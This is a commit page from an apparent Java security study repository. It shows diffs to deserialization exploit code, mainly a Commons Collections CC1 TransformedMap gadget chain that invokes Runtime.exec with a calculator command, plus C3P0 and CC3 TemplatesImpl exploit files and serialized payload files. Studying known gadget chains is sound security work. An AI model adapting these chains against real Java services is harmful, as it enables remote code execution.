Skip to content

Commit d782849

Browse files
Drun1babyDrun1baby
committed
🍻Write code drunkenly.
1 parent ebd4f1b commit d782849

229 files changed

Lines changed: 2074 additions & 197 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎JavaSecurity/C3P0/C3P0Vuls/ser.bin‎

-315 Bytes
Binary file not shown.

‎JavaSecurity/C3P0/C3P0Vuls/src/main/java/URLClassLoader/RefToURLClassLoader.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
import java.lang.reflect.Method;
77
import java.util.Hashtable;
88

9-
// 从 ReferenceableUtils 出发，调用 URLClassLoader 的 EXP (但是失败了
9+
// 从 ReferenceableUtils 出发，调用 URLClassLoader 的 EXP
1010
public class RefToURLClassLoader {
1111
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
1212
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");

‎JavaSecurity/CC/CC1/ser.bin‎

1.23 KB
Binary file not shown.

‎JavaSecurity/CC/CC1/src/EXP/FinalTransformMapEXP/TransformMapEXP.java‎

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,14 +15,15 @@
1515
// 最终的 EXP
1616
public class TransformMapEXP {
1717
public static void main(String[] args) throws Exception{
18+
String[] cmd = {"Calc"};
1819
Transformer[] transformers = new Transformer[]{
1920
new ConstantTransformer(Runtime.class),
2021
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
2122
new InvokerTransformer("getMethod",
2223
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
2324
new InvokerTransformer("invoke"
2425
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
25-
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
26+
new InvokerTransformer("exec", new Class[]{String.class}, cmd)
2627
};
2728
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2829
HashMap<Object, Object> hashMap = new HashMap<>();
@@ -34,8 +35,8 @@ public static void main(String[] args) throws Exception{
3435
Object o = aihConstructor.newInstance(Target.class, transformedMap);
3536

3637
// 序列化反序列化
37-
serialize(o);
38-
//unserialize("ser.bin");
38+
// serialize(o);
39+
unserialize("ser.bin");
3940
}
4041
public static void serialize(Object obj) throws IOException {
4142
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));

‎JavaSecurity/CC/CC1/target/classes/FinalTransformMapEXP/TransformMapEXP.class‎

26 Bytes
Binary file not shown.

‎JavaSecurity/CC/CC1/target/classes/Test.class‎

-3.55 KB
Binary file not shown.

‎JavaSecurity/CC/CC3/pom.xml‎

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,12 +9,25 @@
99
<version>1.0-SNAPSHOT</version>
1010

1111
<dependencies>
12-
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
1312
<dependency>
1413
<groupId>commons-collections</groupId>
1514
<artifactId>commons-collections</artifactId>
1615
<version>3.2.1</version>
1716
</dependency>
17+
18+
<dependency>
19+
<groupId>org.javassist</groupId>
20+
<artifactId>javassist</artifactId>
21+
<version>3.27.0-GA</version>
22+
</dependency>
23+
24+
<dependency>
25+
<groupId>org.jboss.classpool</groupId>
26+
<artifactId>jboss-classpool</artifactId>
27+
<version>1.0.0.GA</version>
28+
</dependency>
29+
30+
1831
</dependencies>
1932
<properties>
2033
<maven.compiler.source>8</maven.compiler.source>

‎JavaSecurity/CC/CC3/ser.bin‎

-898 Bytes
Binary file not shown.

‎JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC1TransformedMapTemplatesEXP.java‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
package main.CC3ysoEXP;
2+
13
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
24
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
35
import org.apache.commons.collections.Transformer;

‎JavaSecurity/CC/CC3/src/main/CC3ysoEXP/CC1YsoTemplatesEXP.java‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
package main.CC3ysoEXP;
2+
13
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
24
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
35
import org.apache.commons.collections.Transformer;

0 commit comments

Comments
 (0)